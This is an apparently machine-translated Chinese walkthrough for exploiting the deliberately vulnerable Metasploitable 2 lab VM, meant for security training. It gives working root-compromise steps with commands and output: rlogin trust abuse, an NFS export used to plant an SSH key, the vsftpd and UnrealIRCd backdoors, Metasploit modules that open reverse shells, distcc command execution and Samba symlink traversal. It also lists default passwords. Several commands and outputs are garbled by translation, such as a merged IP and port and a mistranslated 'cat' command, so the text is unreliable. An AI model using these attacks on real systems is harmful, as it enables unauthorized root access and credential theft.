Metasploitable 2可利用性指南
Metasploitable虚拟机是一个故意设计的易受攻击的Ubuntu Linux版本,用于测试安全工具和演示常见漏洞。这个虚拟机的版本2是可以下载而且船上的漏洞比原来的图像还要多。该虚拟机与VMWare、VirtualBox等常用虚拟化平台兼容。默认情况下,Metasploitable的网络接口绑定到NAT和仅主机的网络适配器,并且映像永远不应该暴露给敌对网络。(注:有一个安装Metasploitable 2的视频教程在这里.)
本文概述了Metasploitable 2图像中的许多安全缺陷。目前缺少的是关于web服务器和web应用程序缺陷的文档,以及允许本地用户升级到根权限的漏洞。随着时间的推移,该文档将继续扩展,因为该平台的许多不太明显的缺陷将被详细介绍。
开始
虚拟机启动后,使用用户名登录到控制台msfadmin和密码msfadmin.从外壳,运行ifconfig命令来识别IP地址。
1
msfadmin@metasploitable: ~ ifconfig美元
2
3.
eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
4
inet addr:192.168.99.131 Bcast:192.168.99.255掩码:255.255.255.0
5
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
6
UP BROADCAST运行组播MTU:1500 Metric:1
服务
从我们的攻击系统(Linux,最好是类似于Kali Linux的东西)中,我们将使用Nmap安全扫描器.下面的命令行将扫描Metasploitable 2实例上的所有TCP端口:
1
root@ubuntu:~# nmap -p0-65535 192.168.99.131
2
3.
启动Nmap 5.61TEST4 (http://nmap.org)在2012-05-31 21:14 PDT
4
Nmap扫描报告192.168.99.131
5
主机up (0.00028s latency)。
6
未显示:65506关闭端口
7
端口状态服务
8
21 / tcp开放的ftp
9
22 / tcp打开ssh
10
23 / tcp开放telnet
11
25 / tcp smtp开放
12
53 / tcp开放领域
13
80 / tcp打开http
14
111 / tcp rpcbind开放
15
139 / tcp netbios-ssn开放
16
445 / tcp microsoft-ds开放
17
512 / tcp exec开放
18
513 / tcp打开登录
19
514 / tcp打开外壳
20.
1099 / tcp rmiregistry开放
21
1524 / tcp ingreslock开放
22
2049 / tcp开放nfs
23
2121 / tcp ccproxy-ftp开放
24
3306 / tcp打开mysql
25
3632 / tcp打开执行
26
5432 / tcp postgresql开放
27
5900 / tcp vnc开放
28
6000 / tcp X11开放
29
6667 / tcp irc开放
30.
6697 / tcp打开未知
31
8009 / tcp ajp13开放
32
8180 / tcp打开未知
33
8787 / tcp打开未知
34
39292 / tcp打开未知
35
43729 / tcp打开未知
36
44813 / tcp打开未知
37
55852 / tcp打开未知
38
MAC地址:00:0C:29:9A:52:C1 (VMware)
几乎每一个侦听服务都提供了进入系统的远程入口点。在下一节中,我们将介绍其中一些向量。
Unix基本知识
TCP端口512、513和514被称为“r”服务,它们被错误地配置为允许从任何主机(标准的)进行远程访问。Rhosts + +”的情况)。要利用这一点,请确保安装了“rsh-client”客户端(在Ubuntu上),并以本地根用户身份运行以下命令。如果提示您输入SSH密钥,这意味着rsh-client工具没有安装,Ubuntu默认使用SSH。
1
# rlogin -l root 192.168.99.131
2
上次登录:Fri Jun 1 00:10:39 EDT 2012 from:0.0 on pts/0
3.
Linux metasploitable 2.6.24-16-server #1 SMP 4月10日13:58:00 UTC 2008 i686
4
5
root@metasploitable: ~ #
这是最简单的了。我们应该查看的下一个服务是网络文件系统(NFS)。NFS可以通过直接探测端口2049或向端口映射器请求服务列表来识别。下面的示例使用rpcinfo识别NFS和showmount - e要确定要导出“/”共享(文件系统的根)。您将需要rpcbind和nfs—常见的Ubuntu软件包。
1
root@ubuntu:~# rpcinfo -p 192.168.99.131
2
程序版本的原型端口服务
3.
100000 2 TCP 111端口映射器
4
100000 2 udp 111 portmapper
5
100024 1 udp 53318状态
6
100024 1 TCP 43729状态
7
100003 2 udp 2049 NFS
8
100003 3 udp 2049 NFS
9
100003 4 udp 2049 NFS
10
100021 1 udp 46696 nlockmgr .日志含义
11
100021 3 udp 46696 nlockmgr .日志含义
12
100021 4 udp 46696 nlockmgr .日志含义
13
100003 2 TCP 2049 NFS
14
100003 3 TCP 2049 NFS
15
100003 4 TCP 2049 NFS
16
100021 1 TCP 55852 nlockmgr
17
100021 3 TCP 55852 nlockmgr . exe
18
100021 4 TCP 55852 nlockmgr
19
100005 1 udp 34887 mountd
20.
100005 1 TCP 39292安装
21
100005 2 udp 34887 mountd
22
100005 2 TCP 39292安装
23
100005 3 udp 34887挂载
24
100005 3 TCP 39292安装
25
26
root@ubuntu:~# showmount -e 192.168.99.131
27
192.168.99.131的导出列表:
28
/ *
访问这样一个具有可写文件系统的系统是很简单的。为此(因为SSH正在运行),我们将在我们的攻击系统上生成一个新的SSH密钥,挂载NFS导出,并将密钥添加到根用户帐户的authorized_keys文件中:
1
ssh - keygen root@ubuntu: ~ #
2
生成公私rsa密钥对。
3.
输入保存密钥的文件(/root/.ssh/id_rsa):
4
输入passphrase(空表示没有passphrase):
5
再次输入相同的密码:
6
您的身份被保存在/root/.ssh/id_rsa中。
7
您的公钥已保存在/root/.ssh/id_rsa.pub中。
8
9
root@ubuntu: ~ # mkdir / tmp / r00t
10
root@ubuntu:~# mount -t NFS 192.168.99.131:/ /tmp/r00t/
11
root@ubuntu: ~ #猫~ / . ssh / id_rsa。酒吧> > / tmp / r00t / root / . ssh / authorized_keys
12
root@ubuntu: ~ # umount / tmp / r00t来
13
14
root@ubuntu: ~ # ssh root@192.168.99.131
15
上次登录:Fri Jun 1 00:29:33 2012 from 192.168.99.128
16
Linux metasploitable 2.6.24-16-server #1 SMP 4月10日13:58:00 UTC 2008 i686
17
18
root@metasploitable: ~ #
后门
Metasploitable2在端口21上运行vsftpd,这是一个流行的FTP服务器。这个版本包含一个后门那是被一个未知入侵者混入源代码的。后门很快就被识别出来并删除了,但在此之前还是有不少人下载了它。如果发送以序列结尾的用户名:)[笑脸],后门版本将在端口6200上打开一个监听外壳。我们可以使用telnet或使用Metasploit框架模块自动利用它:
1
root@ubuntu:~# Telnet 192.168.99.131 21
2
尝试192.168.99.131……
3.
连接到192.168.99.131。
4
转义字符为'^]'。
5
220 (vsFTPd 2.3.4)
6
用户的秘密:)
7
请输入密码。
8
通过无效
9
^)
10
telnet >退出
11
连接关闭。
12
13
root@ubuntu:~# Telnet 192.168.99.136200
14
尝试192.168.99.131……
15
连接到192.168.99.131。
16
转义字符为'^]'。
17
id;
18
uid = 0(根)gid = 0(根)
在端口6667上,Metasploitable2运行unaircd IRC守护进程。这个版本有个后门几个月来都没有人注意到-通过发送字母“AB”,后面跟着一个系统命令到任何侦听端口上的服务器触发。Metasploit有模块利用这一点来获得一个交互式shell,如下所示。
1
msfconsole
2
3.
MSF >使用/unix/irc/unreal_ircd_3281_backdoor
4
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131 . msf exploit(unreal_ircd_3281_backdoor
5
MSF漏洞(unreal_ircd_3281_backdoor) >漏洞
6
7
[*]启动反向双处理器
8
[*] connect to 192.168.99.131:6667…
9
: irc.Metasploitable。LAN NOTICE AUTH:*** Looking up your hostname…
10
: irc.Metasploitable。LAN NOTICE AUTH:*** Couldn't resolve your hostname;使用你的IP地址
11
[*]发送后门命令…
12
[*]接受第一个客户端连接…
13
[*]接受第二个客户端连接…
14
[*] Command: echo 8bMUYsfmGvOLHBxe;
15
[*]写入套接字A
16
[*]写入socket B
17
[*] read from socket…
18
[*]从socket B中读取
19
[*] B:“8 bmuysfmgvolhbxe \ r \ n”
20.
[*]匹配……
21
[*] A是输入…
22
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700 . [*
23
24
25
id
26
uid = 0(根)gid = 0(根)
更微妙的是旧的备用“ingreslock”后门,它正在监听1524端口。十年前,ingreslock端口是一个很受欢迎的选择,因为它可以为被入侵的服务器添加后门。访问它很容易:
1
root@ubuntu:~# Telnet 192.168.99.131 1524
2
尝试192.168.99.131……
3.
连接到192.168.99.131。
4
转义字符为'^]'。
5
root@metasploitable: / # id
6
uid = 0(根)gid = 0(根)组= 0(根)
无意的后门
除了前面提到的恶意后门之外,有些服务本质上几乎就是后门。安装在Metasploitable2上的第一个是distccd。这个程序可以很容易地跨类似配置的系统群扩展大型编译器作业。这个服务的问题是攻击者很容易滥用它来运行他们选择的命令,如Metasploit模块下面使用。
1
msfconsole
2
3.
MSF >使用/unix/misc/distcc_exec
4
msf exploit(distcc_exec) > set RHOST 192.168.99.131 . msf漏洞
5
MSF漏洞(distcc_exec) >漏洞
6
7
[*]启动反向双处理器
8
[*]接受第一个客户端连接…
9
[*]接受第二个客户端连接…
10
[*]命令:echo uk3UdiwLUq0LX3Bi;
11
[*]写入套接字A
12
[*]写入socket B
13
[*] read from socket…
14
[*]从socket B中读取
15
[*] B:“uk3UdiwLUq0LX3Bi \ r \ n”
16
[*]匹配……
17
[*] A是输入…
18
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700 . (192.168.99.128:4444 -> 192.168.99.131:38897
19
20.
id
21
uid = 1(守护进程)gid = 1(守护进程)组= 1(守护进程)
Samba,当配置为可写文件共享和“广泛的联系“启用”(默认为开启),也可以用作访问不打算共享的文件的后门。下面的例子使用了Metasploit模块使用匿名连接和可写共享提供对根文件系统的访问。
1
root@ubuntu:~# smbclient -L //192.168.99.131
2
匿名登录成功
3.
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
4
5
Sharename类型的评论
6
--------- ---- -------
7
打印$磁盘打印机驱动程序
8
tmp磁盘哦,没有!
9
选择磁盘
10
IPC$ IPC IPC服务(metasploitable服务器(Samba 3.0.20-Debian))
11
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
12
13
root@ubuntu: ~ # msfconsole
14
MSF >使用辅助/admin/smb/samba_symlink_traversal
15
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131 . msf auxiliary(samba_symlink_traversal
16
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
17
MSF辅助(samba_symlink_traversal) >漏洞
18
19
[*]连接到服务器…
20.
[*]试图挂载可写共享'tmp'…
21
[*] failed to link 'rootfs' to the root filesystem…
22
[*]现在访问下面的共享来浏览根文件系统:
23
(*) \ \ 192.168.99.131 \ tmp \ rootfs \
24
25
MSF辅助(samba_symlink_traversal) >退出
26
27
root@ubuntu: ~ # smbclient / / 192.168.99.131 / tmp
28
匿名登录成功
29
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
30.
Smb: \> CD rootfs
31
Smb: \rootfs\> CD等
32
Smb: \rootfs\etc\>更多passwd
33
获取大小为1624的文件rootfs\etc\passwdufiyQf(317.2千字节/秒)(平均317.2千字节/秒)
34
根:x: 0时:根:根:/ / bin / bash
35
守护进程:x: 1:1:守护进程:/ usr / sbin / bin / sh
36
本:x: 2:2:本:/ bin: / bin / sh
37
[. .]
弱密码
除了更明显的后门和错误配置之外,Metasploitable 2对于系统和数据库服务器帐户的密码安全性都很糟糕。主要管理用户msfadmin具有与用户名匹配的密码。通过发现这个系统上的用户列表,或者通过使用另一个缺陷捕获passwd文件,或者通过Samba枚举这些用户id,可以使用暴力攻击来快速访问多个用户帐户。系统上至少配置了以下弱系统帐户。
帐户名称 |
密码 |
|---|---|
msfadmin |
msfadmin |
用户 |
用户 |
postgres |
postgres |
sys |
蝙蝠侠 |
klog |
123456789 |
服务 |
服务 |
除了这些系统级帐户,PostgreSQL服务还可以使用用户名访问postgres和密码postgres,而MySQL服务对用户名开放根密码为空。VNC服务提供远程桌面访问使用密码密码.
脆弱的Web服务
Metasploitable 2故意预先安装了易受攻击的web应用程序。当Metasploitable 2启动时,web服务器会自动启动。要访问web应用,请打开web浏览器并输入URLhttp:// < IP >在哪里< IP >为Metasploitable 2的IP地址。实现这一点的一种方法是在Virtual Box中安装Metasploitable 2作为客户操作系统,并将网络接口设置从“NAT”改为“Host Only”。(注:有一个安装Metasploitable 2的视频教程在这里.)
在这个例子中,Metasploitable 2在IP 192.168.56.101上运行。浏览到http://192.168.56.101/显示web应用程序的主页。
192.168.56/24是Virtual Box中默认的"host only"网络。IP地址从“101”开始分配。根据客户操作系统的启动顺序,Metasploitable 2的IP地址会有所不同。
要访问特定的web应用程序,请单击提供的其中一个链接。单独的web应用程序可以通过附加应用程序目录名来访问http:// < IP >创建URLhttp:// < IP > / < >应用程序文件夹/.例如,可以通过地址访问Mutillidae应用程序(在本例中)http://192.168.56.101/mutillidae/.的Metasploitable 2中安装了应用程序/var/www目录中。(注意:请参阅带有命令的列表ls /var/www.)在撰写本文时的当前版本中,应用程序是
- mutillidae (NOWASP mutillidae 2.1.19)
- 该死的易受攻击的Web应用程序
- phpMyAdmin
- tikiwiki (TWiki)
- tikiwiki-old
- dav (WebDav)
蚁蜂科
Mutillidae网络应用程序(NOWASP(蚁蜂科))包含了OWASP十大漏洞中的所有漏洞,以及其他一些漏洞,如HTML-5网络存储、表单缓存和点击劫持。受DVWA的启发,Mutillidae允许用户将“安全级别”从0(完全不安全)更改为5(安全)。此外,还提供了3个级别的提示,从“0级-我更努力了”(没有提示)到“2级-新手”(最大提示)。如果应用程序被用户注入和黑客破坏,单击“Reset DB”按钮将应用程序重置为原来的状态。
关于使用多菌科的教程可在webpwnizedYouTube频道。
通过点击菜单栏上的“切换提示”按钮,在应用程序中启用提示:
在这些各自的页面上,Mutillidae应用程序至少包含以下漏洞:
页面 |
漏洞 |
|---|---|
add-to-your-blog.php |
SQL注入博客条目 |
arbitrary-file-inclusion.php |
系统文件妥协 |
browser-info.php |
XSS通过引用HTTP报头 |
capture-data.php |
XSS通过任何GET, POST,或Cookie |
captured-data.php |
XSS通过任何GET, POST,或Cookie |
config.inc * |
包含未加密的数据库凭据 |
credits.php |
未验证的重定向和转发 |
dns-lookup.php |
主机/ip字段上的跨站点脚本 |
footer。php * |
通过HTTP_USER_AGENT HTTP头跨站脚本。 |
framing.php |
Click-jacking |
header。php * |
XSS通过登录用户名和签名 |
html5-storage.php |
在add-key错误消息上进行DOM注入,因为输入的键会输出到错误消息中,而不会被编码 |
index . php * |
您可以对菜单中支持提示的输出进行XSS,因为它从支持提示的cookie值中获取输入。 |
log-visit.php |
SQL注入和XSS通过引用HTTP头 |
login。 |
通过用户名字段和密码字段的身份验证绕过SQL注入 |
password-generator.php |
JavaScript注入 |
pen-test-tool-lookup.php |
JSON注入 |
phpinfo.php |
这个页面给出了PHP服务器配置 |
process-commands.php |
创建cookie,但不使它们仅为HTML |
process-login-attempt.php |
下一样。这是动作页面。 |
redirectandlog.php |
credits.php一样。这是动作页面 |
register.php |
SQL注入和XSS通过用户名,签名和密码字段 |
rene-magritte.php |
Click-jacking |
robots . txt |
包含应该是私有的目录 |
secret-administrative-pages.php |
此页面提供了关于如何发现服务器配置的提示 |
set-background-color.php |
层叠样式表注入和通过颜色字段的XSS |
show-log.php |
拒绝服务,如果你填满了日志 |
site-footer-xss-discusson.php |
XSS通过用户代理字符串HTTP头 |
source-viewer.php |
加载任意文件,包括操作系统文件。 |
text-file-viewer.php |
在互联网或本地加载任意网页,包括网站密码文件。 |
user-info.php |
SQL注入,通过用户名字段或密码字段转储所有用户名和密码 |
user-poll.php |
参数污染 |
view-someones-blog.php |
XSS通过任何显示的字段。它们被输入到你的博客页面。 |
DVWA
DVWA的主页上写着:“DVWA (Damn Vulnerable Web App)是一个非常脆弱的PHP/MySQL Web应用程序。它的主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助web开发人员更好地理解保护web应用程序的过程,并帮助教师/学生在课堂环境中教授/学习web应用程序安全。”
DVWA在主页上有说明,其他信息可在维基页面-该死的脆弱的Web应用程序.
- 默认用户名——管理
- 默认密码——密码
信息披露
此外,一个不明智的PHP信息披露页面可以在到phpinfo . php。http:// < IP > /.在本例中,URL为http://192.168.56.101/phpinfo.php.PHP info信息泄露漏洞提供了内部系统信息和服务版本信息,可用于查找漏洞。例如,请注意,屏幕截图中披露的PHP版本是5.2.4版本,系统可能容易受到cve - 2012 - 1823和cve - 2012 - 2311影响5.3.12和5.4之前的PHP。5.4.2前x。
你可以下载Metasploitable 2在这里.